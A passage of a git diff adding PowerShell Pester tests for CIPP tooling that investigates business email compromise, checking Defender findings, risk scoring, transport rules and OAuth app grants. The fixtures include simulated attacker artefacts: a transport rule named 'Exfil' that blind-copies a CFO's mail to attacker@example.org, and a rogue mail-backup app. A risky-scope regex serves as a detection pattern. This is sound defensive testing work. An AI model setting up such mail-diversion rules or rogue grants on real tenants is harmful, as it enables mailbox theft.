Pages = 5 } } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.Findings.Complete | Should -BeFalse + $Result.Findings.Cap | Should -Be '5 pages of 5000 rows' + } + + It 'reports a trace failure as an error, not as a clean mailbox' { + Mock Get-CIPPBecMessageTrace { throw 'EXO is down' } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -AcceptedDomains @('contoso.com') + $Result.Findings.Complete | Should -BeFalse + $Result.Findings.Error | Should -Match 'EXO is down' + $Result.Findings.Data.Count | Should -Be 0 + } + + Context 'Defender analysed-email metadata' { + BeforeEach { + Mock Get-CIPPBecMessageTrace { [pscustomobject]@{ Rows = @(); Complete = $true; Cap = $null; Pages = 1 } } + } + + It 'is skipped without -IncludeDefender' { + Mock New-GraphGetRequest { throw 'Defender must not be queried' } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics + $Result.Defender.Available | Should -BeFalse + # Not querying Defender is a skip (the run's licence preflight found no Defender P2), not a + # clean pass: it must never read as complete. + $Result.Defender.Complete | Should -BeFalse + $Result.Defender.Skipped | Should -BeTrue + $Result.Defender.Requirement | Should -Match 'Defender for Office 365 Plan 2' + Should -Invoke New-GraphGetRequest -Times 0 + } + + It 'reads the window tenant-wide, keeps this mailbox''s threat-classified rows and marks delivered ones' { + # shape as returned by beta/security/collaboration/analyzedEmails (loggedDateTime, latestDelivery{action,location}) + Mock New-GraphGetRequest { + @( + [pscustomobject]@{ networkMessageId = 'a'; loggedDateTime = '2026-08-20T10:00:00Z'; recipientEmailAddress = 'victim@contoso.com'; subject = 'Phish'; threatTypes = @('phish'); latestDelivery = [pscustomobject]@{ action = 'delivered'; location = 'inbox' }; originalDelivery = [pscustomobject]@{ action = 'delivered'; location = 'inbox' }; senderDetail = [pscustomobject]@{ fromAddress = 'bad@example.org'; ipv4 = '198.51.100.9' } } + [pscustomobject]@{ networkMessageId = 'b'; loggedDateTime = '2026-08-20T11:00:00Z'; recipientEmailAddress = 'VICTIM@contoso.com'; subject = 'Blocked'; threatTypes = @('malware'); latestDelivery = [pscustomobject]@{ action = 'blocked'; location = 'quarantine' }; senderDetail = [pscustomobject]@{ fromAddress = 'bad2@example.org' } } + [pscustomobject]@{ networkMessageId = 'c'; loggedDateTime = '2026-08-20T12:00:00Z'; recipientEmailAddress = 'victim@contoso.com'; subject = 'Clean'; threatTypes = @('none'); latestDelivery = [pscustomobject]@{ action = 'delivered'; location = 'inbox' }; senderDetail = [pscustomobject]@{ fromAddress = 'ok@example.org' } } + [pscustomobject]@{ networkMessageId = 'd'; loggedDateTime = '2026-08-20T13:00:00Z'; recipientEmailAddress = 'someone.else@contoso.com'; subject = 'Phish for someone else'; threatTypes = @('phish'); latestDelivery = [pscustomobject]@{ action = 'delivered'; location = 'inbox' }; senderDetail = [pscustomobject]@{ fromAddress = 'bad@example.org' } } + ) + } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -IncludeDefender + $Result.Defender.Available | Should -BeTrue + $Result.Defender.Complete | Should -BeTrue + $Result.Defender.Data.Count | Should -Be 2 + $Result.Defender.Data.NetworkMessageId | Should -Not -Contain 'd' -Because 'other recipients are matched out client-side' + $A = $Result.Defender.Data | Where-Object { $_.NetworkMessageId -eq 'a' } + $A.Delivered | Should -BeTrue + $A.ReceivedDateTime | Should -Be '2026-08-20T10:00:00Z' + $A.SenderIP | Should -Be '198.51.100.9' + $A.LatestDeliveryLocation | Should -Be 'inbox' + ($Result.Defender.Data | Where-Object { $_.NetworkMessageId -eq 'b' }).Delivered | Should -BeFalse + $Result.Defender.AnalyzedCount | Should -Be 3 -Because 'three of the four analysed messages were addressed to this mailbox' + # the service rejects $filter on the recipient, so the request must carry the window and the cap only + Should -Invoke New-GraphGetRequest -Times 1 -ParameterFilter { $uri -like '*security/collaboration/analyzedEmails?startTime=*' -and $uri -notlike '*$filter*' -and $uri -like '*$top=1000*' -and $AsApp -eq $true } + } + + It 'reports the tenant-wide page cap as incomplete' { + Mock New-GraphGetRequest { @(1..1000 | ForEach-Object { [pscustomobject]@{ networkMessageId = "m$_"; loggedDateTime = '2026-08-20T10:00:00Z'; recipientEmailAddress = 'other@contoso.com'; threatTypes = @('none') } }) } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -IncludeDefender + $Result.Defender.Complete | Should -BeFalse + $Result.Defender.Cap | Should -Match 'tenant-wide' + $Result.Defender.AnalyzedCount | Should -Be 0 + } + + It 'reports a permission error as incomplete with the PermissionError flag, never as "no phishing"' { + Mock New-GraphGetRequest { throw 'Authorization_RequestDenied: Insufficient privileges to complete the operation.' } + $Result = Get-CIPPBecReceivedMailFindings -TenantFilter 'contoso.com' -UserPrincipalName 'victim@contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics -IncludeDefender + $Result.Defender.Complete | Should -BeFalse + $Result.Defender.Available | Should -BeFalse + $Result.Defender.PermissionError | Should -BeTrue + $Result.Defender.Error | Should -Match 'unavailable' + } + } +} diff --git a/backend/Tests/Private/Get-CIPPBecScore.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecScore.Tests.ps1 new file mode 100644 index 0000000000..339cd68c59 --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecScore.Tests.ps1 @@ -0,0 +1,135 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + # The shipped heuristics file is the contract: the weights below must match what the PDF report used. + $env:CIPPRootPath = $RepoRoot + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1') + $script:Heuristics = Get-CIPPBecHeuristics -Force + + function New-Results { + param([hashtable]$Overrides = @{}) + $Base = @{ + ExtractedAt = '2026-08-20T12:00:00Z' + AnalysisWindowDays = 7 + NewRules = @() + InboxRuleChanges = @() + MailboxPermissionChanges = @() + AddedApps = @() + MaliciousSPs = @() + NewUsers = @() + SafelistChanges = @() + SharingChanges = @() + SentMessageAnalysis = [pscustomobject]@{ Flagged = $false } + MFADevices = @() + IntuneDevices = @() + LocationAnalysis = [pscustomobject]@{ ForeignSuccessfulSignInCount = 0; ForeignRuleChangeCount = 0; ForeignSafelistChangeCount = 0; ForeignSharingChangeCount = 0; ForeignSentMessageCount = 0 } + } + foreach ($Key in $Overrides.Keys) { $Base[$Key] = $Overrides[$Key] } + [pscustomobject]$Base + } +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Get-CIPPBecScore' { + It 'scores an empty result as Low with zero and lists every signal unapplied' { + $Score = Get-CIPPBecScore -Results (New-Results) -Heuristics $script:Heuristics + $Score.Value | Should -Be 0 + $Score.Level | Should -Be 'Low' + $Score.Breakdown.Count | Should -Be 30 + @($Score.Breakdown | Where-Object { $_.Applied }).Count | Should -Be 0 + $Score.Thresholds.High | Should -Be 7 + $Score.Thresholds.Medium | Should -Be 4 + } + + It 'reproduces the original report weights exactly when every original signal fires' { + $Results = New-Results @{ + NewRules = @([pscustomobject]@{ Name = 'Hide'; MoveToFolder = 'RSS Feeds' }) + InboxRuleChanges = @([pscustomobject]@{ Operation = 'New-InboxRule' }) + MailboxPermissionChanges = @([pscustomobject]@{ TargetsSuspect = $true }, [pscustomobject]@{ TargetsSuspect = $false }) + AddedApps = @([pscustomobject]@{ displayName = 'x'; MaliciousMatch = $null }) + MaliciousSPs = @([pscustomobject]@{ appId = 'a' }) + NewUsers = @(1..6 | ForEach-Object { [pscustomobject]@{ id = $_ } }) + SafelistChanges = @([pscustomobject]@{ Operation = 'Set-MailboxJunkEmailConfiguration' }) + SharingChanges = @([pscustomobject]@{ Operation = 'AnonymousLinkCreated' }) + SentMessageAnalysis = [pscustomobject]@{ Flagged = $true } + MFADevices = @([pscustomobject]@{ createdDateTime = '2026-08-19T00:00:00Z' }) + IntuneDevices = @([pscustomobject]@{ enrolledDateTime = '2026-08-18T00:00:00Z' }) + LocationAnalysis = [pscustomobject]@{ ForeignSuccessfulSignInCount = 2; ForeignRuleChangeCount = 1; ForeignSafelistChangeCount = 0; ForeignSharingChangeCount = 0; ForeignSentMessageCount = 0 } + } + $Score = Get-CIPPBecScore -Results $Results -Heuristics $script:Heuristics + # 3+3+2+1+1+2+5+5+3+3+3+3+2+2 - the PDF's additive score with 'targeting' taking precedence over 'other' + $Score.Value | Should -Be 38 + $Score.Level | Should -Be 'High' + ($Score.Breakdown | Where-Object { $_.Signal -eq 'PermissionChanges' }).Applied | Should -BeFalse + ($Score.Breakdown | Where-Object { $_.Signal -eq 'PermissionChangesTargetingUser' }).Applied | Should -BeTrue + } + + It 'gives unrelated tenant permission churn +1 and a change targeting the mailbox +2, never both' { + $Other = Get-CIPPBecScore -Results (New-Results @{ MailboxPermissionChanges = @([pscustomobject]@{ TargetsSuspect = $false }) }) -Heuristics $script:Heuristics + $Other.Value | Should -Be 1 + $Target = Get-CIPPBecScore -Results (New-Results @{ MailboxPermissionChanges = @([pscustomobject]@{ TargetsSuspect = $true }, [pscustomobject]@{ TargetsSuspect = $false }) }) -Heuristics $script:Heuristics + $Target.Value | Should -Be 2 + } + + It 'only counts new users above the threshold' { + $Five = Get-CIPPBecScore -Results (New-Results @{ NewUsers = @(1..5 | ForEach-Object { [pscustomobject]@{ id = $_ } }) }) -Heuristics $script:Heuristics + $Five.Value | Should -Be 0 + $Six = Get-CIPPBecScore -Results (New-Results @{ NewUsers = @(1..6 | ForEach-Object { [pscustomobject]@{ id = $_ } }) }) -Heuristics $script:Heuristics + $Six.Value | Should -Be 1 + } + + It 'ignores MFA methods and Intune devices registered before the window' { + $Results = New-Results @{ + MFADevices = @([pscustomobject]@{ createdDateTime = '2026-08-01T00:00:00Z' }) + IntuneDevices = @([pscustomobject]@{ enrolledDateTime = '2026-07-01T00:00:00Z' }) + } + (Get-CIPPBecScore -Results $Results -Heuristics $script:Heuristics).Value | Should -Be 0 + } + + It 'applies the thresholds: 4 is Medium, 7 is High, 3 is Low' { + # rules(3) + anonymous link(3) = 6... use perm change other (1) + rules (3) = 4 + (Get-CIPPBecScore -Results (New-Results @{ NewRules = @([pscustomobject]@{ Name = 'a' }); MailboxPermissionChanges = @([pscustomobject]@{ TargetsSuspect = $false }) }) -Heuristics $script:Heuristics).Level | Should -Be 'Medium' + (Get-CIPPBecScore -Results (New-Results @{ NewRules = @([pscustomobject]@{ Name = 'a' }) }) -Heuristics $script:Heuristics).Level | Should -Be 'Low' + (Get-CIPPBecScore -Results (New-Results @{ NewRules = @([pscustomobject]@{ Name = 'a' }); InboxRuleChanges = @([pscustomobject]@{ Operation = 'x' }); MailboxPermissionChanges = @([pscustomobject]@{ TargetsSuspect = $false }) }) -Heuristics $script:Heuristics).Level | Should -Be 'High' + } + + It 'weights the full-scope signals' { + $Cases = @( + @{ Key = 'Delegations'; Value = @([pscustomobject]@{ Flagged = $true }, [pscustomobject]@{ Flagged = $false }); Expected = 2; Signal = 'FlaggedDelegations' } + @{ Key = 'UserGrants'; Value = @([pscustomobject]@{ Risk = 'High' }); Expected = 3; Signal = 'RiskyUserGrants' } + @{ Key = 'UserGrants'; Value = @([pscustomobject]@{ Risk = 'CatalogMatch' }); Expected = 5; Signal = 'CatalogUserGrants' } + @{ Key = 'TransportRuleChanges'; Value = @([pscustomobject]@{ Flagged = $true }); Expected = 4; Signal = 'RiskyTransportRuleChanges' } + @{ Key = 'MailboxAddIns'; Value = @([pscustomobject]@{ Flagged = $true }); Expected = 1; Signal = 'FlaggedMailboxAddIns' } + @{ Key = 'ReceivedMailFindings'; Value = @([pscustomobject]@{ FindingType = 'PossibleTyposquat' }, [pscustomobject]@{ FindingType = 'SubjectPattern' }); Expected = 3; Signal = 'TyposquatSenders' } + @{ Key = 'DefenderDetections'; Value = @([pscustomobject]@{ Delivered = $true }); Expected = 3; Signal = 'DefenderDetections' } + @{ Key = 'DirectoryAudits'; Value = @([pscustomobject]@{ Flagged = $true }); Expected = 2; Signal = 'FlaggedDirectoryAudits' } + @{ Key = 'RegisteredDevices'; Value = @([pscustomobject]@{ RegisteredInWindow = $true }); Expected = 2; Signal = 'RecentRegisteredDevices' } + @{ Key = 'NonInteractiveSignIns'; Value = @([pscustomobject]@{ ForeignLocation = $true; Status = 'Success' }, [pscustomobject]@{ ForeignLocation = $true; Status = 'Failed' }); Expected = 3; Signal = 'ForeignNonInteractiveSignIns' } + @{ Key = 'MailActivitySummary'; Value = [pscustomobject]@{ HardDeleteExceeded = $true }; Expected = 2; Signal = 'SuspiciousMailActivity' } + @{ Key = 'RiskState'; Value = [pscustomobject]@{ Listed = $true; RiskState = 'atRisk'; RiskLevel = 'high' }; Expected = 4; Signal = 'RiskyUserHigh' } + @{ Key = 'RiskState'; Value = [pscustomobject]@{ Listed = $true; RiskState = 'atRisk'; RiskLevel = 'medium' }; Expected = 2; Signal = 'RiskyUserMedium' } + @{ Key = 'RiskState'; Value = [pscustomobject]@{ Listed = $true; RiskState = 'confirmedCompromised'; RiskLevel = 'high' }; Expected = 5; Signal = 'ConfirmedCompromised' } + ) + foreach ($Case in $Cases) { + $Score = Get-CIPPBecScore -Results (New-Results @{ $Case.Key = $Case.Value }) -Heuristics $script:Heuristics + $Score.Value | Should -Be $Case.Expected -Because "$($Case.Signal) should add $($Case.Expected)" + ($Score.Breakdown | Where-Object { $_.Signal -eq $Case.Signal }).Applied | Should -BeTrue -Because "$($Case.Signal) should be applied" + } + } + + It 'does not score a Defender detection that was blocked, or a dismissed risky user' { + (Get-CIPPBecScore -Results (New-Results @{ DefenderDetections = @([pscustomobject]@{ Delivered = $false }) }) -Heuristics $script:Heuristics).Value | Should -Be 0 + (Get-CIPPBecScore -Results (New-Results @{ RiskState = [pscustomobject]@{ Listed = $true; RiskState = 'dismissed'; RiskLevel = 'high' } }) -Heuristics $script:Heuristics).Value | Should -Be 0 + } + + It 'scores an old cached payload that has none of the full-scope keys' { + $Legacy = [pscustomobject]@{ ExtractedAt = '2026-08-20T12:00:00Z'; NewRules = @([pscustomobject]@{ Name = 'a'; MoveToFolder = 'RSS' }) } + $Score = Get-CIPPBecScore -Results $Legacy -Heuristics $script:Heuristics + $Score.Value | Should -Be 8 + $Score.Level | Should -Be 'High' + } +} diff --git a/backend/Tests/Private/Get-CIPPBecTransportRules.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecTransportRules.Tests.ps1 new file mode 100644 index 0000000000..0fb5b4d2c8 --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecTransportRules.Tests.ps1 @@ -0,0 +1,111 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + $script:OriginalRoot = $env:CIPPRootPath + $env:CIPPRootPath = $RepoRoot + function Search-CIPPBecAuditLog { param($TenantFilter, $StartDate, $EndDate, $Operations, $UserIds, $RecordType, $ObjectIds, $Anchor, $PageSize, $MaxPages) } + function New-ExoRequest { param($tenantid, $cmdlet, $cmdParams, $Anchor) } + function Get-NormalizedError { param($message) $message } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecTransportRules.ps1') + $script:Heuristics = Get-CIPPBecHeuristics -Force + $script:Start = (Get-Date).AddDays(-7) + $script:End = Get-Date + + function New-Record { + param([string]$Operation, [hashtable]$Parameters, [string]$Actor = 'admin@contoso.com') + [pscustomobject]@{ + Identity = [guid]::NewGuid().ToString() + Operation = $Operation + AuditData = [pscustomobject]@{ + Operation = $Operation + CreationTime = '2026-08-20T09:00:00Z' + UserId = $Actor + ClientIP = '198.51.100.7' + ObjectId = 'Rule' + Parameters = @($Parameters.Keys | ForEach-Object { [pscustomobject]@{ Name = $_; Value = $Parameters[$_] } }) + } + } + } +} + +AfterAll { + $env:CIPPRootPath = $script:OriginalRoot +} + +Describe 'Get-CIPPBecTransportRules' { + It 'flags New/Set/Enable changes that set a diversion or suppression action and leaves the rest unflagged' { + Mock Search-CIPPBecAuditLog { + [pscustomobject]@{ + Records = @( + (New-Record -Operation 'New-TransportRule' -Parameters @{ Name = 'Exfil'; BlindCopyTo = 'attacker@example.org'; SentTo = 'cfo@contoso.com' }) + (New-Record -Operation 'Set-TransportRule' -Parameters @{ Identity = 'Disclaimer'; Name = 'Disclaimer'; Priority = '3' }) + (New-Record -Operation 'Remove-TransportRule' -Parameters @{ Identity = 'Old rule'; BlindCopyTo = 'x@example.org' }) + (New-Record -Operation 'Set-TransportRule' -Parameters @{ Identity = 'Spam'; SetSCL = '9' }) + ) + Complete = $true; Cap = $null; Pages = 1 + } + } + Mock New-ExoRequest { @() } + $Result = Get-CIPPBecTransportRules -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics + $Result.Changes.Complete | Should -BeTrue + $Result.Changes.Data.Count | Should -Be 4 + $Exfil = $Result.Changes.Data | Where-Object { $_.RuleName -eq 'Exfil' } + $Exfil.Flagged | Should -BeTrue + $Exfil.RiskyParameters | Should -Contain 'BlindCopyTo' + $Exfil.RiskyParameters | Should -Not -Contain 'SentTo' + $Exfil.Actor | Should -Be 'admin@contoso.com' + $Exfil.ClientIP | Should -Be '198.51.100.7' + ($Result.Changes.Data | Where-Object { $_.RuleName -eq 'Disclaimer' }).Flagged | Should -BeFalse + ($Result.Changes.Data | Where-Object { $_.RuleName -eq 'Old rule' }).Flagged | Should -BeFalse -Because 'removing a rule is not persistence' + ($Result.Changes.Data | Where-Object { $_.RuleName -eq 'Spam' }).Flagged | Should -BeTrue + $Result.Changes.Data[0].Flagged | Should -BeTrue -Because 'flagged changes sort first' + Should -Invoke Search-CIPPBecAuditLog -Times 1 -ParameterFilter { $RecordType -eq 'ExchangeAdmin' -and $Operations -contains 'New-TransportRule' -and $null -eq $UserIds } + } + + It 'returns only the current rules with a diversion action, or a suppression action changed in the window, with the total rule count' { + Mock Search-CIPPBecAuditLog { [pscustomobject]@{ Records = @(); Complete = $true; Cap = $null; Pages = 1 } } + Mock New-ExoRequest { + @( + [pscustomobject]@{ Identity = 'Exfil'; Guid = 'g1'; Name = 'Exfil'; State = 'Enabled'; Mode = 'Enforce'; Priority = 0; WhenChanged = (Get-Date).AddDays(-1).ToString('o'); Description = 'If the message is sent to cfo@contoso.com, Blind carbon copy (Bcc) the message to attacker@example.org'; BlindCopyTo = @('attacker@example.org'); RedirectMessageTo = @(); DeleteMessage = $false } + [pscustomobject]@{ Identity = 'Disclaimer'; Guid = 'g2'; Name = 'Disclaimer'; State = 'Enabled'; Mode = 'Enforce'; Priority = 1; WhenChanged = '2025-01-01T00:00:00Z'; Description = 'Append a disclaimer'; BlindCopyTo = @(); RedirectMessageTo = @(); DeleteMessage = $false; ApplyHtmlDisclaimerText = '
External
' } + [pscustomobject]@{ Identity = 'Junk'; Guid = 'g3'; Name = 'Junk'; State = 'Disabled'; Mode = 'Audit'; Priority = 2; WhenChanged = '2025-01-01T00:00:00Z'; Description = 'Quarantine the message'; BlindCopyTo = @(); RedirectMessageTo = @(); DeleteMessage = $false; Quarantine = $false } + [pscustomobject]@{ Identity = 'Plain'; Guid = 'g4'; Name = 'Plain'; State = 'Disabled'; Mode = 'Enforce'; Priority = 3; WhenChanged = '2025-01-01T00:00:00Z'; Description = 'Prepend the subject'; BlindCopyTo = @(); RedirectMessageTo = @(); DeleteMessage = $false } + [pscustomobject]@{ Identity = 'OldDelete'; Guid = 'g5'; Name = 'OldDelete'; State = 'Enabled'; Mode = 'Enforce'; Priority = 4; WhenChanged = '2025-01-01T00:00:00Z'; Description = 'Delete the message without notifying anyone'; BlindCopyTo = @(); RedirectMessageTo = @(); DeleteMessage = $true; RemoveHeader = 'Disposition-Notification-To' } + [pscustomobject]@{ Identity = 'RecentDelete'; Guid = 'g6'; Name = 'RecentDelete'; State = 'Enabled'; Mode = 'Enforce'; Priority = 5; WhenChanged = (Get-Date).AddHours(-3).ToString('o'); Description = 'Delete the message without notifying anyone'; BlindCopyTo = @(); RedirectMessageTo = @(); DeleteMessage = 'True' } + ) + } + $Result = Get-CIPPBecTransportRules -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics + $Result.Flagged.TotalRules | Should -Be 6 + $Result.Flagged.Data.Name | Should -Be @('Exfil', 'RecentDelete') -Because 'rules changed in the window sort first and only action-bearing rules are flagged' + $Exfil = $Result.Flagged.Data | Where-Object { $_.Name -eq 'Exfil' } + $Exfil.RiskReasons | Should -Contain 'BlindCopyTo = attacker@example.org' + $Exfil.RiskReasons | Should -Contain 'Description mentions a routing or disposition action' + $Exfil.ChangedInWindow | Should -BeTrue + $Recent = $Result.Flagged.Data | Where-Object { $_.Name -eq 'RecentDelete' } + $Recent.RiskReasons | Should -Contain 'DeleteMessage = True' + $Recent.RiskReasons | Should -Contain 'Changed within the investigation window' + $Result.Flagged.Data.Name | Should -Not -Contain 'OldDelete' -Because 'a long-standing delete/header rule is admin hygiene, not persistence' + $Result.Flagged.Data.Name | Should -Not -Contain 'Junk' -Because 'a description alone never flags a rule' + $Result.Flagged.Data.Name | Should -Not -Contain 'Disclaimer' + $Result.Flagged.Data.Name | Should -Not -Contain 'Plain' + } + + It 'reports each half independently when the other fails' { + Mock Search-CIPPBecAuditLog { throw 'UAL unavailable' } + Mock New-ExoRequest { @([pscustomobject]@{ Identity = 'r'; Guid = 'g'; Name = 'r'; State = 'Enabled'; Mode = 'Enforce'; Description = 'redirect the message'; RedirectMessageTo = @('x@example.org') }) } + $Result = Get-CIPPBecTransportRules -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics + $Result.Changes.Complete | Should -BeFalse + $Result.Changes.Error | Should -Match 'UAL unavailable' + $Result.Flagged.Complete | Should -BeTrue + $Result.Flagged.Data.Count | Should -Be 1 + + Mock Search-CIPPBecAuditLog { [pscustomobject]@{ Records = @(); Complete = $true; Cap = $null; Pages = 1 } } + Mock New-ExoRequest { throw 'EXO down' } + $Result = Get-CIPPBecTransportRules -TenantFilter 'contoso.com' -StartDate $script:Start -EndDate $script:End -Heuristics $script:Heuristics + $Result.Changes.Complete | Should -BeTrue + $Result.Flagged.Complete | Should -BeFalse + $Result.Flagged.Error | Should -Match 'EXO down' + $Result.Flagged.TotalRules | Should -BeNullOrEmpty + } +} diff --git a/backend/Tests/Private/Get-CIPPBecUserGrants.Tests.ps1 b/backend/Tests/Private/Get-CIPPBecUserGrants.Tests.ps1 new file mode 100644 index 0000000000..a5fc20042e --- /dev/null +++ b/backend/Tests/Private/Get-CIPPBecUserGrants.Tests.ps1 @@ -0,0 +1,128 @@ +BeforeAll { + $RepoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSCommandPath)) + function New-GraphBulkRequest { param($Requests, $tenantid, $asapp) } + function Get-CIPPBecRogueAppFeed { param($MaxAgeHours, [switch]$Force) } + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1') + . (Join-Path $RepoRoot 'Modules/CIPPCore/Public/BEC/Get-CIPPBecUserGrants.ps1') + + $script:Heuristics = [pscustomobject]@{ + riskyScopes = [pscustomobject]@{ + regex = '(?i)(\.ReadWrite(\.All)?$|\.All$|Mail\.|Files\.|Directory\.|RoleManagement\.|offline_access)' + catalogNames = @('EWS.AccessAsUser.All') + } + } + $script:CatalogAppId = '2ef68ccc-8a4d-42ff-ae88-2d7bb89ad139' + $script:Feed = [pscustomobject]@{ + Apps = @{ $script:CatalogAppId = [pscustomobject]@{ Name = 'Mail_Backup'; Source = 'CIPP'; Categories = @('Mailbox exfiltration'); Description = 'x' } } + HuntressAvailable = $true + } + $script:Sps = @{ + 'sp-rogue' = [pscustomobject]@{ id = 'sp-rogue'; appId = $script:CatalogAppId.ToUpperInvariant(); displayName = 'Mail_Backup'; publisherName = $null; verifiedPublisher = [pscustomobject]@{ verifiedPublisherId = $null }; appOwnerOrganizationId = 'aaaa'; accountEnabled = $true; createdDateTime = '2026-08-01T00:00:00Z' } + 'sp-shady' = [pscustomobject]@{ id = 'sp-shady'; appId = '11111111-1111-1111-1111-111111111111'; displayName = 'Shady Sync'; publisherName = 'Shady Ltd'; verifiedPublisher = [pscustomobject]@{ verifiedPublisherId = $null }; appOwnerOrganizationId = 'bbbb'; accountEnabled = $true; createdDateTime = '2026-08-02T00:00:00Z' } + 'sp-ms' = [pscustomobject]@{ id = 'sp-ms'; appId = '22222222-2222-2222-2222-222222222222'; displayName = 'Microsoft Teams'; publisherName = 'Microsoft'; verifiedPublisher = [pscustomobject]@{ verifiedPublisherId = 'ms' }; appOwnerOrganizationId = 'f8cdef31-a31e-4b4a-93e4-5f571e91255a'; accountEnabled = $true; createdDateTime = '2020-01-01T00:00:00Z' } + 'sp-benign' = [pscustomobject]@{ id = 'sp-benign'; appId = '33333333-3333-3333-3333-333333333333'; displayName = 'Survey Tool'; publisherName = 'Survey Inc'; verifiedPublisher = [pscustomobject]@{ verifiedPublisherId = 'sv' }; appOwnerOrganizationId = 'cccc'; accountEnabled = $true; createdDateTime = '2026-08-03T00:00:00Z' } + 'sp-graph' = [pscustomobject]@{ id = 'sp-graph'; appId = '00000003-0000-0000-c000-000000000000'; displayName = 'Microsoft Graph'; publisherName = 'Microsoft'; verifiedPublisher = [pscustomobject]@{ verifiedPublisherId = 'ms' }; appOwnerOrganizationId = 'f8cdef31-a31e-4b4a-93e4-5f571e91255a'; accountEnabled = $true; createdDateTime = '2020-01-01T00:00:00Z' } + } + + # Fixture-driven stand-in for the Graph batch: grants/app roles come from script-scope fixtures, + # service principal lookups resolve against $script:Sps. + function Invoke-FakeBulk { + param($Requests) + foreach ($Request in $Requests) { + switch -Wildcard ($Request.id) { + 'Grants' { [pscustomobject]@{ id = 'Grants'; status = $script:GrantStatus; body = [pscustomobject]@{ value = @($script:GrantsFixture); error = [pscustomobject]@{ message = 'grants failed' } } } } + 'AppRoles' { [pscustomobject]@{ id = 'AppRoles'; status = $script:AppRoleStatus; body = [pscustomobject]@{ value = @($script:AppRolesFixture); error = [pscustomobject]@{ message = 'roles failed' } } } } + 'sp*' { + $script:SpRequests.Add($Request) + $Ids = [regex]::Matches($Request.url, "'([^']+)'") | ForEach-Object { $_.Groups[1].Value } + [pscustomobject]@{ id = $Request.id; status = 200; body = [pscustomobject]@{ value = @($Ids | ForEach-Object { $script:Sps[$_] } | Where-Object { $_ }) } } + } + } + } + } +} + +Describe 'Get-CIPPBecUserGrants' { + BeforeEach { + Mock Get-CIPPBecRogueAppFeed { $script:Feed } + Mock New-GraphBulkRequest { Invoke-FakeBulk -Requests $Requests } + $script:GrantsFixture = @() + $script:AppRolesFixture = @() + $script:GrantStatus = 200 + $script:AppRoleStatus = 200 + $script:SpRequests = [System.Collections.Generic.List[object]]::new() + } + + It 'flags catalog matches, high-risk scopes from unverified publishers, and leaves Microsoft and verified apps alone' { + $script:GrantsFixture = @( + [pscustomobject]@{ id = 'g1'; clientId = 'sp-rogue'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'User.Read Mail.Read offline_access' } + [pscustomobject]@{ id = 'g2'; clientId = 'sp-shady'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'Mail.ReadWrite offline_access' } + [pscustomobject]@{ id = 'g3'; clientId = 'sp-ms'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'Files.ReadWrite.All offline_access' } + [pscustomobject]@{ id = 'g4'; clientId = 'sp-benign'; resourceId = 'sp-graph'; consentType = 'Principal'; scope = 'User.Read openid' } + ) + $Result = Get-CIPPBecUserGrants -TenantFilter 'contoso.com' -UserId 'user-1' -Heuristics $script:Heuristics + $Result.Complete | Should -BeTrue + $Result.Data.Count | Should -Be 4 + $Rogue = $Result.Data | Where-Object { $_.Id -eq 'g1' } + $Rogue.Risk | Should -Be 'CatalogMatch' + $Rogue.Flagged | Should -BeTrue + $Rogue.CatalogMatch.Name | Should -Be 'Mail_Backup' + $Rogue.HighRiskScopes | Should -Contain 'Mail.Read' + $Shady = $Result.Data | Where-Object { $_.Id -eq 'g2' } + $Shady.Risk | Should -Be 'High' + $Shady.Flagged | Should -BeTrue + $Shady.PublisherVerified | Should -BeFalse + $Ms = $Result.Data | Where-Object { $_.Id -eq 'g3' } + $Ms.Risk | Should -Be 'Review' + $Ms.Flagged | Should -BeFalse + $Ms.IsMicrosoft | Should -BeTrue + $Benign = $Result.Data | Where-Object { $_.Id -eq 'g4' } + $Benign.Risk | Should -Be 'Low' + $Benign.HighRiskScopes.Count | Should -Be 0 + $Result.Data[0].Flagged | Should -BeTrue -Because 'flagged rows sort first' + $Result.HuntressFeedAvailable | Should -BeTrue + $Result.Data[0].ResourceDisplayName | Should -Be 'Microsoft Graph' + } + + It 'matches scope names from the RiskyPermissions catalog as well as the regex' { + $script:GrantsFixture 